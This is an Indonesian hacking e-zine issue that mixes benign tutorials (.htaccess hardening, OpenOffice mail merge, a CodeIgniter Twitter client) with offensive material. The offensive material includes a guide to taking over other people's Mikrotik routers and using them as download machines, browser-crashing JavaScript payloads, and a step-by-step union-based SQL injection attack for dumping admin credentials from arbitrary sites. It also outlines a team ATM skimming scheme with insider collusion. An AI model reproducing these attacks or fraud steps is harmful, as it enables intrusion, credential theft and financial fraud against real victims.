Anda di halaman 1dari 91

Volume#1

E zine
Devilzc0de Ezine #1

Not for Sale


Devilzc0de Ezine #1

Dari Redaksi
Salam sejahtera bagi semua,

Internet adalah satu kata yang sudah dikenal di tiap bagian dunia modern.

Internet adalah teknologi yang tengah mengendalikan seluruh industri saat ini, dan memacu transaksi
bisnis global.

Internet tengah mengubah cara kita hidup, cara berkomunikasi, memberi dan memperoleh informasi,
memasarkan produk, menjual dan membeli barang ataupun jasa. mencari relasi ataupun kenalan,
bahkan belajar dan sekolah. dan masih banyak lagi, dan terus bertambah dan berkembang dari hari ke
hari.

Internet telah melahirkan satu dunia baru - cyberworld atau cyberspace - yang merupakan dunia virtual
reality dan real world of virtuality - dunia maya tapi nyata, dunia nyata tapi maya.

Internet telah melahirkan lebih banyak jutawan dan milyader daripada industri manapun juga dalam
sejarah dunia, bahkan dalam kurun waktu relativ jauh lebih singkat sekali.

Internet masih dalam usia sangat belia. Ia baru saja mulai, tapi sangat revolusioner. Dan mereka yang
cukup cerdik untuk memposisikan diri mereka di garisdepan revolusi ekonomis ini adalah mereka yang
akan meraup nilai baliknya.

E-Zine adalah berasal dari kata elektronik dan magazine artinya adalah majalah elektronik. WhiteCyber
E-Zine adalah majalah computer yang membahas networking, linux, hardening, patching, security and
hacking di Indonesia.

Tujuannya adalah untuk memberikan / berbagi artikel untuk perkembangan IT (Information and Tech-
nology) ilmu computer, internet, hacking dan security di Indonesia.

Sejarah tanah air kembali terukir dengan hadir dan bangkitnya Devilzc0de kembali ke ranah IT dengan
wajah dan Tujuan baru dengan tujuan untuk memberi motivasi kedepan bagi para anggotanya dimana
forum ini merupakan wadah untuk saling berbagi dengan harapan semua anggotanya dapat mendapat-
kan faedah yg baik dan berguna bagi keluarga, bangsa dan negara nya ...

Dengan hadirnya E-Zine ini kembali kita semua menjadi pionir-pionir dunia IT yang saling bahu mem-
bahu dengan cara berbagi demi kemajuan IT di Tanah Ibu Pertiwi ini, tidak ada perbedaan disini hanya
ada persahabatan dan jalinan rasa sebangsa dan setanah air...

Devilzc0de sudah mengalami banyak pasang surut, manis pahit semua sudah dilewati sekarang dia
kembali dengan bentuk yang lebih tangguh dan lebih flexible dan motivasi yang sudah disempurna-
kan...

Semoga persembahan kami anak anak negri yang sederhana ini bisa menjadi kebanggaan dan bisa
menitikkan air mata haru dan bangga dari Ibu Pertiwi...
Dan Berguna bagi kita semua... Amin

Salam,

Segenap Staff & Pengurus Devilzc0de


Volume#1

Contents

Mikrotik Download Manager Chaer.Newbie

.htaccess Security Cruz3N


- fvckerscript
- Membobol Account ATM dengan Skimmer Kiddies
SQL injection Gonzhack

- Bagaimana Mengupdate Status Twittermu dari Code Igniter


- Menggunakan Mail Merge di Open Office 3.x Petimati

Mengakses Regitry Dari DOS Prompt Misterfribo

- Membuat Folder dengan Password


- Menyembunyikan File ke dalam Gambar el_nino
Dasar Menggunakan Python Whitehat
- Membuat Server sederhana dengan Debian 4

- Tutorial Remastering Windows Wahyu_devilzc0de


- Menulis Sebuah IRC Bot di PHP
- Install Ubuntu 9.04 dengan Virtual Box Wenkhairu
Devilzc0de Ezine #1

Mikrotik Download Manager

Buat yang baru denger kata mikrotik gw kasih sedikit gambaran tentang , fungsi, kegunaan dan apa itu
mikrotik :

MikroTik RouterOS™ merupakan sistem operasi Linux base yang diperuntukkan sebagai network router.
Didesain untuk memberikan kemudahan bagi penggunanya. Administrasinya bisa dilakukan melalui Win-
dows application (WinBox). Selain itu instalasi dapat dilakukan pada standard computer PC. PC yang
akan dijadikan router mikrotikpun tidak memerlukan resource yang cukup besar untuk penggunaan stan-
dard, misalnya hanya sebagai gateway. Untuk keperluan beban yang besar ( network yang kompleks,
routing yang rumit dll) disarankan untuk mempertimbangkan pemilihan resource PC yang memadai.

Fasilitas pada mikrotik antara lain sebagai berikut :


• Protokoll routing RIP, OSPF, BGP.
• Statefull firewall
• Hotspot for Plug-and-Play access
• remote winbox GUI admin

Meskipun demikian MikroTik bukanlah perangkat lunak berlisensi bebas, dalam arti untuk menggunakan
segala fasilitas yang tersedia pada perangkat lunak ini sejumlah lisensi harus dibeli. Versi uji coba hanya
disediakan untuk penggunaan selama 24 jam saja. Perangkat lunak ini tersedia dalam bentuk cakram
padat, ataupun DOM (bahas inggris: Disk On Module). Khusus untuk versi DOM, perangkat lunak Mikro-
Tik telah terpasang pada modul tersebut sehingga tidak memerlukan instalasi khusus, cukup dengan
menancapkan modul DOM tersebut pada slot IDE yang tersedia pada komputer.
Sumber : http://id.wikipedia.org/wiki/MikroTik

[FAQ]

Begin
+ User : Kenapa sih namanya mikrotik Download manager ..?
- Chaer: soalnya mikrotiknya yg melakukan direct downloding ( so tau w , padahal biar keren aja
pake judul itu) :)
+ User : kenapa harus mikrotik ?
- Chaer : judulnya aja mikrotik download manager , masa pake idm..? :)
+ User : buat apa sih kita ngelakuin aktifitas ini ...?? emang berguna..?
- Chaer: lumayan berguna , contoh kita jebol mikrotik dikampus/ disekolah ( biar ngetrent
disekolah/kampus) dengan berbagai macam teknik andalan kita keluarin mulai dari Bruteforce / Soceng
/ ngemis ngemis / punya temen, bisa juga dapet passwordnya dari hadiah ciki. :) kalo udah tembus pass-
wordnya Masa tuh router kita diemin / Kita reset doang (berharap internetnya mati).? Ckckck suatu tinda-
kan yg anarkis, Mending kita Bikin Mikrotiknya yg download, Terus kita tinggal maen/ pulang, terus besok
paginya kita ambil ...( ini baru tindakan yg sangat mulia , Menyusup tetapi tidak merusak) , Hahahhahah
+ User : terus kenapa ga ditaro dari idm nya langsung terus di taro client...?
- Chaer : Hmmm.. kalo ditaro di client Nanti downloadnnya kena limit T_T , kalo dimikrotiknya lang-
sung mungkin ga kena limit (sotoy doang w)
End.
Devilzc0de Ezine #1

Focus
Sesuai judulnya, Mikrotiknya gw jadiin buat mesin download. hehehehe
okeh alat dan bahannya :
1. Capucino
2. Mie Kremes Recomended anak Mas
3. Mikrotik Router ( yg udah kita Takeover /punya orang / sejenisnya)
4. Pc buat Remote ( terserah sih) hahahaha
Mulai Berhalusinasi :
1. Siapkan Link Download (direct Link)
http://openstorage.gunadarma.ac.id/symbian/s60/2nd_edition/language/PythonForS60_1_4_5_2ndEd.S
IS

2. kita pisahin satu satu deh sesuai sama http://wiki.mikrotik.com/wiki/Fetch

Script Jadinya : /tool fetch address=openstorage.gunadarma.ac.id src-


path=/symbian/s60/2nd_edition/language/PythonForS60_1_4_5_2ndEd.SIS

3. Masuk Console Mikrotik Ketikan Script yg berada di Langkah ke 2

Jadinya :

Tunggu sampe selesai proses downloadnya

Selesai deeeh
Devilzc0de Ezine #1

Via WINBOX

1. Di Menu Sistem / Script


2. add

3. Terus Ok
yaudah tinggal di run script aja!

Beres deeeh tunggu filenya didownload selesai hahhahaa...

Finishing
Kita buka ftp router mikrotiknya ftp://ip-mikrotik
Kalo punya gua sih pake ftp://192.168.1.1/ ketik di mozila
Diminta masukin Password , masukin aja

Terus Keluar ini

Tinggal kita ambil ...heheheh


Devilzc0de Ezine #1

Nb :
Buat jaga jaga seandainya si admin mau ganti password router kita bikin schedule auto backup , Terus
Auto backup dikirim deh ke email kita...
Nanti tutor ini buat ezine ke 2...ato ane post di forum, hehehehe

Kekurangan :
• Apabila Routernya mati otomatis Downloadan kita juga mati T_T
• Kalo download filenya gede, Harddisk mikrotiknya juga kudu gede T_T
• Harus Direct link download

Kelebihan :
• Kalo kita download disitu kayaknya kita ga bakal kena limit di mikrotik...hahaha (Kayaknya )
• Bisa ditinggalin pulang, Serasa nanem torrent,

Kesimpulan:
• Dari tutorial diatas dapat kita simpulkan bahwa sebenernya w nih nulis tutorial apa bikin Laporan
?,,,awkawkkawkawkawkaw

Writen By : Chaer.Newbie For Devilzc0de.org | Chaer.Newbie [at] Gmail [dot] com

Credit
Special Thx : Allah SWT , beserta nabi Muhammad SAW ( beserta pengikutnya ) Ray16 , gunslinger_,
mywisdom, petimati, Pushm0v , gonzhack, Tenro , eightailz , flyff666 ,wisnu_sakti , Cakil , Dewancc ,
zee_eichel, Bejamz , Nacko, el_nino, wahyu_devilz0de And All STAFF, Moderator, Admin and Activis
Devilzc0de.org , hacker-newbie.org , Tecon-crew.org And semua forum yg udah w jelajahi
Devilzc0de Ezine #1

.htaccess Security
Apache web server memiliki beberapa pilihan konfigurasi yang tersedia untuk admin server. Di lingkun-
gan beberapa hosting yang di-share, anda tidak punya akses untuk konfigurasi utama Apache sehingga
anda terpaksa menggunakan konfigurasi default. Tapi anda bisa saja mengganti beberapa default setting
dengan membuat / mengubah sebuah file bernama .htaccess.

File .htaccess adalah file teks ASCII sederhana yang terletak di direktori www atau di sebuah sub direktori
folder www. Anda bisa membuat atau mengedit file ini di Text Editor (Notepad) dan kemudian meng-
uploadnya ke direktori yang ingin anda ubah setting-nya. Pastikan bahwa file tersebut diupload dalam
format ASCII bukan BINARY, dan pastikan file permission untuk file tersebut telah diset menjadi 644 (rw-
r-r–). Hal tersebut memungkinkan server untuk mengakses file tapi mencegah user untuk mengakses file
tersebut dari browser mereka.

Secara default windows tidak akan mengijinkan apabila kita akan membuat file dengan nama .htaccess

Nah ada beberapa cara utuk membuat file tersebut tapi kita dapat dengan mudah untuk membuat file
tersebut menggunakan Command Prompt. Ketiklah perintah berikut

Itu sedikit penjelasan tentang .htaccess dan pada tutorial kali ini saya tidak akan banyak menjelaskan
tentang apa dan bagaimana itu file .htaccess tetapi beberapa kegunaan file ini yang akan bermanfaat
untuk Sekuritas. Oke langsung saja.

.
Devilzc0de Ezine #1

1. Mencegah Akses Ke .htaccess

Tambahkan baris berikut untuk menambah keamanan dari file .htaccess sehingga apabila ada
usaha untuk mengakses file tersebut akan muncul pesan kesalahan 403. Tentu saja tidak lupa memberi-
kan file permissionnya menjadi 644.

<Files .htaccess>
order allow,deny
deny from all
</Files>

2. Mencegah Akses Ke File Tertentu

Untuk membatasi akses ke file tertentu kita dapat menggunakan perintah berikut. Ganti nama
rahasia.txt menjadi sesuai dengan kebutuhan anda. Nantinya file tersebut akan disembunyikan dan apa-
bila terdapat usaha untuk mengakses file tersebut akan terjadi error 403.

<files rahasia.txt>
order allow,deny
deny from all
</files>

3. Mencegah Akses Ke Banyak File

Anda bisa mengganti beberapa extension dibawah sesuai dengan yang Anda butuhkan.
<FilesMatch "\.(htaccess|htpasswd|ini|phps|fla|psd|log|sh)$">
Order Allow,Deny
Deny from all
</FilesMatch>

4. Mencegah User Melakukan Browsing Pada Setiap Direktori Server Kita

Options All -Indexes

4.1. Mengijinkan User Melakukan Browsing

Jika anda mengijinkan user untuk melakukan browsing pada “direktori yang telah kita tentukan”
cukup menambahkan perintah seperti dibawah ini. ( Cukup tempatkan file .htaccess pada folder yang
diinginkan )
Devilzc0de Ezine #1

Options All +Indexes

4.2. Mencegah User Melakukan Browsing Tanpa Pesan Error 403

IndexIgnore *

4.3. Mencegah User Melakukan Browsing Dengan Membatasi Extension File.

IndexIgnore *.wmv *.mp4 *.avi *.etc

5. Mengubah Index File

Secara default apabila kita membuat beberapa file dan salah satunya terdapat index file, maka file
tersebutlah yang akan dijalankan terlebih dahulu. Dengan menggunakan .htaccess kita dapat merubah-
nya menjadi nama file yang kita inginkan.

DirectoryIndex ganti.php

6. Menyamarkan Extension PHP

Ini sangat berguna untuk menambahkan keamanan pada aplikasi PHP yang anda buat. anda bisa
mengganti extension php pada aplikasi anda dengan extension yang telah anda daftarkan, Mungkin
“LOL”, “hacking”, dll. Nah dengan kode berikut, file tersebut akan tetap dibaca sebagai file PHP. Sedikit
catatan, biasanya saya mencari file httpd.conf dan menambahkan extensionnya disitu, akan tetapi inilah
kelebihan .htaccess. Kita tidak perlu merubah settingan asli pada Apache.

AddType application/x-httpd-php .hacking

7. Membatasi Akses Ke LAN (Local Area Network)

<Limit GET POST PUT>


order deny,allow
deny from all
allow from 192.168.1.5
</Limit>

7.1. Bisa Menambahkan Domain

<Limit GET POST PUT>


order allow,deny
allow from all
deny from 192.168.1.5
deny from .*domain\.com.*
</Limit>
Devilzc0de Ezine #1

8. Mencegah Hotlinking

Hotlinking merupakan pencurian bandwidth melalui penggunaan sebuah image yang akan
dipasang pada suatu halaman pada website lain, sehingga bandwidth dari website asal akan tersedot bila
image yang dipasang pada website lain itu dibuka.
Atau secara simple bisa diterjemahkan, ada orang lain yang mengkopi link image dari website kita dan
menempatkannya pada website miliknya.

Memang tidak terlalu banyak memakan bandwith akan tetapi hal ini cukup mengganggu dan mungkin kita
bisa memberi sedikit pelajaran kepada si Pelaku :D.

Kita akan melakukan beberapa praktek ringan.

1. Ketik kode berikut dan simpan dengan nama gambar.php

<?php
$pic = strip_tags( $_GET['pic'] );
if ( ! $pic ) {
die("Gambar Tidak Ditemukan");
}
?>
<html>
<head>
<title><?php echo($pic); ?></title>
</head>
<body>
<p>
<img src="/<?php echo($pic); ?>" alt="Test Hotlinking">
</p>
</body>
</html>

2. Siapkan gambar dengan nama pemandangan.jpg


3. Upload kedua file tersebut ke file hosting.
Pada contoh kali ini saya menggunakan 2 file hosting yang berbeda.
4. Buka browser dan ketik URL sebagai berikut

http://website1.com/gambar.php?pic=pemandangan.jpg
Devilzc0de Ezine #1

Maka hasil yang didapat sebagai berikut

Bila hanya seperti ini orang lain bisa saja melakukan Copy Image URL untuk menampilkannya di website
miliknya.

http://website1.com/pemandangan.jpg

Nah untuk mencegah hal itu terjadi maka kita harus menyiapkan file .htaccess yang berisi baris-baris sep-
erti ini

RewriteEngine On

RewriteCond %{REQUEST_FILENAME} .*jpg$|.*gif$|.*png$ [NC]


RewriteCond %{HTTP_REFERER} !^$
RewriteCond %{HTTP_REFERER} !websitekamu\.com [NC]
RewriteCond %{HTTP_REFERER} !websiteteman\.com [NC]
RewriteCond %{HTTP_REFERER} !google\. [NC]
RewriteCond %{HTTP_REFERER} !search\?q=cache [NC]

RewriteRule (.*) /gambar.php?pic=$1

Maka ketika seseorang melakukannya lagi maka dia tidak akan mendapatkan hasil apa-apa.
Devilzc0de Ezine #1

9. Memberikan Password Pada File

<Files rahasia.php>
AuthType Basic
AuthName "Prompt"
AuthUserFile /home/path/.htpasswd
Require valid-user
</Files>

9.1. Memberikan Password Pada Banyak File

<FilesMatch "^(execute|index|secure|insanity|biscuit)*$">
AuthType basic
AuthName "Development"
AuthUserFile /home/path/.htpasswd
Require valid-user
</FilesMatch>

9.2. Memberikan Password Pada Direktori Dimana .htaccess Berada

resides
AuthType basic
AuthName "This directory is protected"
AuthUserFile /home/path/.htpasswd
AuthGroupFile /dev/null
Require valid-user

10. Otomatis Memberikan CHMOD Kepada Setiap File

chmod .htpasswd files 640


chmod .htaccess files 644
chmod php files 600

11. Melindungi Dari Serangan DOS ( Denial Of Service ) Dengan Membatasi Upload File

Ini adalah salah satu metode sederhana yang bisa kita gunakan untuk mencegah serangan DOS.
Disini kita membatasi ukuran upload sebesar 10240000 byte yang setara dengan 10 mb.

LimitRequestBody 10240000

12. Mengamankan Direktori Dari Pengeksekusian Script Atau File

AddHandler cgi-script .php .pl .py .jsp .asp .htm .shtml .sh .cgi
Options -ExecCGI

By Cruz3N

Contact : cruzenaldo[at]gmail[dot]com
Blog : cruzenaldo[dot]blogspot[dot]com
Web : cruzenaldo[dot]com (Coming Soon :D )
Devilzc0de Ezine #1

fvckerscript

0x01. Pendahuluan
0x02. Crashing Browser
=>infinite alert box
=>infinite open window
=>infinite frame
=>memory hog
=>white screen of the death
=> IE crash v 4.x
0x03. Penutup

0x01. Pendahuluan.
ok kawan, sering kita memakai browser, tapi tahu tidak kadang browser kita suka crash karena web
page yang kita buka, padahal seharusnya dan semestinya web page yang baik tidak menyebabkan
browsernya mengalami crash. Nah, dalam ezine ini gue akan membahas tentang bagaimana membuat
browser crash.
Ok, gue cuma ingetin kalo terjadi masalah terhadap browsernya, matikan dengan task manager, atau
kalo gak bisa, reboot ajah ok,hehehehe.

0x02. Crashing Browser.


Ok , teman2 semuanya, disini gue akan kasih permainan hacking lama gue ok,hehehe.
Yups langsung ajah yah.

=>infinite alert box


nah kalo ini mungkin sering kita jumpai yah, memunculkan alert box di browser, scriptnya cukup mudah

script :
<html>
<body>
<script>
while(1) {
alert(“test doank berhasil gak???!!!”);
}
</script>
</body>
</html>

nah script diatas buat memunculkan alert box yang g bakalan bisa di close,soalnya script tersebut akan
mucul trus ketika di tutup.
Devilzc0de Ezine #1

=>infinite open window


script:
<html>
<body>
<script>
var i, new, docu;
for(i = 1;;i++) {
new = window.open(“blank.html”,”wind” + i);
docu = new.document;
docu.open();
docu.writeln(“<html>”);
docu.writeln(“<head>”);
docu.writeln(“<title>windows #” + i + “</title>”);
docu.writeln(“<h3>windows #” +i+”<h3>”);
docu.writeln(“</head>”);
docu.writeln(“<body>”);
docu.writeln(“</body>”);
docu.writeln(“</html>”);
}
</script>
</body></html>

nah kalo yang ini buat membuka browser tanpa henti,nanti lama kelamaan akan crash tuh browser

=>infinite frame
ini di coba pada IE 4 ok.

Script frame.html:
<html><body>
<script>
window.open(”iframe.html”, “iframewind”);
</script>
</body></html>

script iframe.html:
<html><body>
<frame src=”frame.html”>
</body></html>

jadi program ini adalah untuk frame dalam frame, kalo lama kelamaan ini juga data menibulkan web
browser hang.
Devilzc0de Ezine #1

=>memory hog
program ini dapat mengalokasikan memory sampe g bersisa, kalo pada windows 9x akan crash.

Script:
<html><body>
<script>
var i, one_meg, memory;
one_meg=”123456789ABCDEF”;
for (i = 4; i <= 20;i++) {
one_meg += one_meg;
}
memory = one_meg;
while(1) {
memory += one_meg;
}
</script>
</body></html>

=>white screen of the death

script:
<html><body>
<script>
mywind = window.open(“death.html”, “full”);

“fullscreen=yes,location=no,menubar=no,resizeable=no,scrollbars=no,toolbars=no,left=1,top=1,screenX
=1,screenY=1,width=”+window.screen.width+”,height=”+window.screen.oprn.height
);
</script>
<body></html>

ini akan membuat tampilan browser menjadi putih melompong,hehehehe

nb : ane muenggunakan IE v 4 kebawah untuk melakukan aksi seperti diatas, silahkan di kembangkan
lagi agar dapat menukan kelemahan pada browser2 baru ok...hehehe

beginilah permainan dahulu kala ane sebelum kenal ini itu dan program.

0x03. Penutup
makasih buat kawan2 w yang udeh dukung w selama ini.
Thanks: mywisdom,petimati,gunslinger_(moga cepet sembuh),whitehat, devil_nongkrong dan kamu.
Buat devilzc0de maju terus ok, jgn pernah menyerah banyak yang udeh kita lewati dan ternyata kita
tetep solid satu sama lain.
Devilzc0de Ezine #1

Membobol Account ATM dengan Skimmer


halo kawan2...mungkin sekarang lagi hot2nya bahas tentang bagaimana cara membobol ATM dengan
skimmer...nah disni w mau jelasin bagaimana cara membobol ATM dengan skimmer, disni w akan jelasin
langkah demi langkah globalnya ajah ok...inget jgn disalah gunakan dan jgn pula disebarluaskan, nanti
ngeri banyak ngembad ATM orang dan w ngeri disangka yang melakukan tindakan carding ini...

sebenernya w nulis ini juga terinspirasi dari film hacker yang berjudul sneaker yang hanya memanfaatkan
social engineering dia bisa melakukan aktifitas masuk ke dalam sistem..udeh yah ceritanya....

ok langkah pertama dalam membobol ATM dengan teknologi adalah


1.beli skimmer kalo bisa dari luar negri, jgn dari dalem, soalnya sekarang udeh riskan.
2.amati ATM yang mau kita susupi.
3.utamakan kerja team (minimal team:5 sampe 6 orang), lebih dari ketentuan itu, tanggung sendiri kalo
mudah tertangkap..
4.pedeketan terhadap penjaga ATM.
5.kamera pengintai yang kecil.kalo gede pasti ketahuan

ok langsung ajah yah

setelah kita mendekati dan mengamati lokasi serta jam berapa waktu apa dan hari apa ATM tersebut
tidak ramai dikunjungin nasabah dan kita telah soceng ke orang dalem bank atau bisa juga kita kerjasama
dengan orang dalem bank (kalo kerjasama sama orang dalem bank harus tahu cara kerja sistem bank di
tiap departementnya)...

gunanya team: 3 orang pengawasan jarak jauh,2 orang melakasanakan ekseskusi terhadap pemasan-
gan alat(skimmer & kamera pengintai), 1 orang pengawasan dari jarak dekat

nah dari situ kita bisa bobol account ATM orang yang tidak hati2...

sebelum melakukan aktifitas ini harus paham cara kerja skimmer dan kamera pengintai, serta langkah2
yang disebutkan ok....

makasih buat kawan2 w yang udeh dukung w selama ini.


Thanks: mywisdom,petimati,gunslinger_(moga cepet sembuh),whitehat, devil_nongkrong dan kamu.
Buat devilzc0de maju terus ok, jgn pernah menyerah banyak yang udeh kita lewati dan ternyata kita tetep
solid satu sama lain.

Contact : crasher_1412@yahoo.com & peneter@yahoo.com


blog : http://kiddiez.co.cc http://kiddiescode.wordpress.com

remember : To much love will kill you !!!!! w udeh rasain itu soalnya.
Devilzc0de Ezine #1

SQL Injection

Pengertian sql injection:


SQL injection adalah sebuah aksi hacking yang dilakukan di aplikasi client dengan cara memodifikasi
perintah SQL yang ada di memori aplikasi clien dan juga merupakan teknik mengeksploitasi web aplikasi
yang didalamnya menggunakan database untuk penyimpanan data.

Yang perlu di ketahui sebelum sql injection pada mysql:


karakter: ' atau -
comments: /* atau --
information_schema untuk versi: mysql versi 5.x , tidak support untuk mysql versi 4.x

===========
=step Satu:=
===========

carilah target
misal: [site]/berita.php?id=100

Tambahkan karakter ' pada akhir url atau menambahkan karakter "-" untuk melihat apakah ada pesan
error.
contoh: [site]/berita.php?id=100' atau
[site]/berita.php?id=-100

sehingga muncul pesan error seperti berikut (masih bnyak lagi):

==========
=step Dua:=
==========

mencari dan menghitung jumlah table yang ada dalam databasenya...


gunakan perintah : order by

contoh: [site]/berita.php?id=-100+order+by+1-- atau


[site]/berita.php?id=-100+order+by+1/*

ceklah secara step by step (satupersatu)...


misal: [site]/berita.php?id=-100+order+by+1--
[site]/berita.php?id=-100+order+by+2--
[site]/berita.php?id=-100+order+by+3--
[site]/berita.php?id=-100+order+by+4--

sehingga muncul error atau hilang pesan error...


misal: [site]/berita.php?id=-100+order+by+9--

berarti yang kita ambil adalah sampai angka 8


menjadi [site]/berita.php?id=-100+order+by+8--
Devilzc0de Ezine #1

===========
=step Tiga:=
===========

untuk mengeluarkan angka berapa yang muncul gunakan perintah union


karena tadi error sampai angka 9
maka: [site]/berita.php?id=-100+union+select+1,2,3,4,5,6,7,8--

ok seumpama yg keluar angka 5

gunakan perintah version() atau @@version untuk mengecek versi sql yg diapakai masukan perintah
tsb pada nagka yg keluar tadi
misal: [site]/berita.php?id=-100+union+select+1,2,3,4,version(),6,7,8-- atau
[site]/berita.php?id=-100+union+select+1,2,3,4,@@version,6,7,8--

lihat versi yg digunakan seumpama versi 4 tinggalkan saja karena dalam ver 4 ini kita harus menebak
sendiri table n column yg ada pada web tersebut karena tidak bisa menggunakan perintah
From+Information_schema..

untuk versi 5 berarti anda beruntung tak perlu menebak table n column seperti ver 4 karena di ver 5 ini
bisa menggunakan perintah From+Information_schema..

============
=step Empat:=
============

untuk menampilkan table yg ada pada web tsb adalah


perintah table_name >>> dimasukan pada angka yg keluar tadi
perintah +from+information_schema.tables/* >>> dimasukan setelah angka terakhir

[site]/berita.php?id=-100+union+select+1,2,3,4,table_name,6,7,8+from+information_schema.tables--

seumpama table yang muncul adalah "admin"

===========
=step Lima:=
===========

untuk menampilkan semua isi dari table tsb adalah


perintah group_concat(table_name) >>> dimasukan pada angka yg keluar tadi
perintah +from+information_schema.tables+where+table_schema=database() >>> dimasukan setelah
angka terakhir

[site]/berita.php?id=-
100+union+select+1,2,3,4,group_concat(table_name),6,7,8+from+information_schema.tables+where+t
able_schema=database()--
Devilzc0de Ezine #1

=============
= step Enam: =
=============

perintah group_concat(column_name) >>> dimasukan pada angka yg keluar tadi


perintah +from+information_schema.columns+where+table_name=0xhexa-- >>> dimasukan setelah
angka terakhir

[site]/berita.php?id=-
100+union+select+1,2,3,4,group_concat(column_name),6,7,8+from+information_schema.columns+where
+table_name=0xhexa--

pada tahap ini kamu wajib mengextrak kata pada isi table menjadi hexadecimal yaitu dengan cara meng-
konversinya
website yg digunakan untuk konversi :

www.ascii-convert.co.cc

contoh kata yg ingin di konversi yaitu admin maka akan menjadi 61646D696E

[site]/berita.php?id=-
100+union+select+1,2,3,4,group_concat(column_name),6,7,8+from+information_schema.columns+where
+table_name=0x61646D696E--

============
=step Tujuh:=
============

memunculkan apa yg tadi telah dikeluarkan dari table yaitu dengan cara

perintah concat_ws(0x3a,hasil isi column yg mau dikeluarkan) >>> dimasukan pada angka yg keluar tadi
perintah +from+(nama table berasal) >>> dimasukan setelah angka terakhir

[site]/berita.php?id=-100+union+select+1,2,3,4,concat_ws(0x3a,hasil isi column),6,7,8+from+(nama table


berasal)--

contoh kata yang keluar adalah id,username,password

[site]/berita.php?id=-
100+union+select+1,2,3,4,concat_ws(0x3a,id,username,password),6,7,8+from+admin--
Devilzc0de Ezine #1

==============
= step Delapan:=
==============

tahap terakhir mencari halam admin atau login

selanjutnya terserah anda karena kekuasaan web ada di tangan anda...

[+] Author : Gonzhack


[+] Homepage : http://www.indonesiancoder.com
Devilzc0de Ezine #1

Menggunakan Mail Merge di Open Office 3.x


Mail Merge adalah fasilitas writer untuk membuat surat secara masal berdasarkan template digabung
dengan data yang sudah ada.

Berikut akan dijelaskan cara menggunakan Mail Merge pada Open Office 3.0:
Kondisi:

OS Ubuntu 9.04(secara default sudah terdapat Open Office 3.0)

1. Ubuntu 9.04 walaupun defautnya sudah terdapat Open Office 3.0, tetapi software yang dibutuhkan
untuk mengolah Database Office belum ada yaitu OpenOffice.org Base, jadi kita perlu mengistall software
tsb. Buka Synaptic lalu ketik OpenOffice.org-base pada field search, pilih lalu install.

2. Buka OpenOffice Calc, buat data seperti di bawah ini:

Lalu Save, beri nama upass.xls(Simpan dalam format Xls).


Devilzc0de Ezine #1

3. Buka OpenOffice Word,


o pada menu pilih File=> Wizard=>Address Data Source.
o Kemudian pilih Other external data source. Pada Connection Setting pilih Setting => Spreadsheet
=> Next.
o Klik Browse, arahkan menuju file sumber data Anda, sesuaikan book name. Finish.

o (Option)Test Connection terlebih dahulu untuk menguji apakah file Anda benar-benar bisa
diubungkan.
o Selanjutnya, tekan tombol F4 atau klik menu View => Data Sources, sehingga Anda memiliki
tampilan Data Source seperti berikut. Klik dua kali pada Sheet1 untuk melihat sumber data yang telah kita
buat di aplikasi spreadsheet. Jika Anda menemui kesulitan untuk menampilkan sumber datanya, padahal
sudah mengikuti langkah-langkah di atas, maka Anda lakukan refreshing data, caranya dengan tekan F4
beberapa kali. Buat

Template Office Word seperti di bawah:


Devilzc0de Ezine #1

o Drag dan drop dari data di atas ke dokumen utama kita, untuk Nama, Username dan Password.

o Untuk mencetak hasilnya, klik File => Print. Pilih Yes jika ada pertanyaan konfirmasi.

Option: singgle doc jika anda menginginkan data disimpan dalam 1 file,

dan individual doc jika anda menginginkan data terpisah menurut jumlah record.

"SELAMAT MENCOBA"
Devilzc0de Ezine #1

Bagaimana Mengupdate Status Twittermu dari Code Igniter


Pada tutorial ini, kita akan mengupdate status twitter kita melalui 'Twitter API' menggunakan CodeIgniter.
Saya rekomendasikan anda mengikuti langkah demi langkah sampai tutorial ini selesai...
1. Konfigurasi CodeIgniter
Pertama kali yang kita perlu edit adalah config.
Buka system/application/config/autoload.php, lalu edit lah baris :
<?php
$autoload['libraries'] = array('');
?>

menjadi
<?php
$autoload['libraries'] = array('database');
?>

Ini akan memuat otomatis library database. Lalu buka database.php dan sesuaikan settingan koneksinya.
nama database anda, username dan passwordnya. Untuk nama database kita gunakan ci_twitter_api.
Sekarang bukalah config.php, Lalu rubahlah base_url untuk ci anda. Jadi didalamnya saya meletakkan
folder system untuk ci saya. Ok. Saya rubah menjadi :
<?php
$config['base_url'] = "http://localhost/ci/twitter_api/";
?>

2. Mengisi Database
Silahkan buka tools untuk membuat database, bisa PHPMyAdmin, SQL Buddy atau yang lainnya. Silah-
kan membuat database baru ci_twitter_api. Kita akan membuat tabel dan mengisinya dengan username
dan password kita di twitter. Berikut query nya...

CREATE TABLE IF NOT EXISTS `accounts` ( `id` int(11) NOT NULL AUTO_INCREMENT,
`username` varchar(120) NOT NULL,
`password` varchar(32) NOT NULL,
`active` int(11) NOT NULL,
`last_message` varchar(140) NOT NULL,
PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=latin1 AUTO_INCREMENT=3 ;
INSERT INTO `accounts` (`id`, `username`, `password`, `active`, `last_message`) VALUES
(1, 'username', 'password', 1, 'No message sent');

3. Membangun Model
Menuju system/application/model, lalu buatlah satu file twitter_model.php.
Pertama, kita akan mendeklarasikan 2 variabel :
<?php
var $accounts_table = 'accounts';
var $update_url = 'http://twitter.com/statuses/update.xml';
?>
Devilzc0de Ezine #1

Jadi, $accounts_table merujuk pada tabel yang telah kita buat tadi, sedangkan $update_url adalah
alamat URL yang akan mengupdate status kita pada twitter. Jika twitter merubah URL tersebut, anda ting-
gal ganti saja $update_url menjadi alamat yang bisa digunakan untuk mengupdate status anda ditwitter.
Sekarang kita akan membuat metode pertama yang akan mengembalikan akun yang aktif pada data-
base, bernilai 1 baris dan aktif. Saya telah menambah ini karena terkadang, seseorang mempunyai satu
atau lebih akun twitter.

<?php
class Twitter_model extends Model {

// get the active twitter account from the database, by row active =
function getActiveAccount()
{
return $this->db->get_where($this->accounts_table, array('active' => '1'))->row();
}
?>

Kita akan menggunakan active record untuk mengambil akun yang aktif dan mengembalikan baris yang
dihasilkan.
Langkah selanjutnya, kita akan membangun metode utama, Ini akan menggunakan username dan pass-
word, tentu saja dengan pesan yang akan kita gunakan untuk menjadi status kita.
<?php
// update status twitter
function update_status($username, $password, $message)
{
$ch = curl_init($this->update_url);

curl_setopt($ch, CURLOPT_POST, 1);


curl_setopt($ch, CURLOPT_POSTFIELDS, 'status='.urlencode($message));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_USERPWD, $username . ':' . $password);

curl_exec($ch);

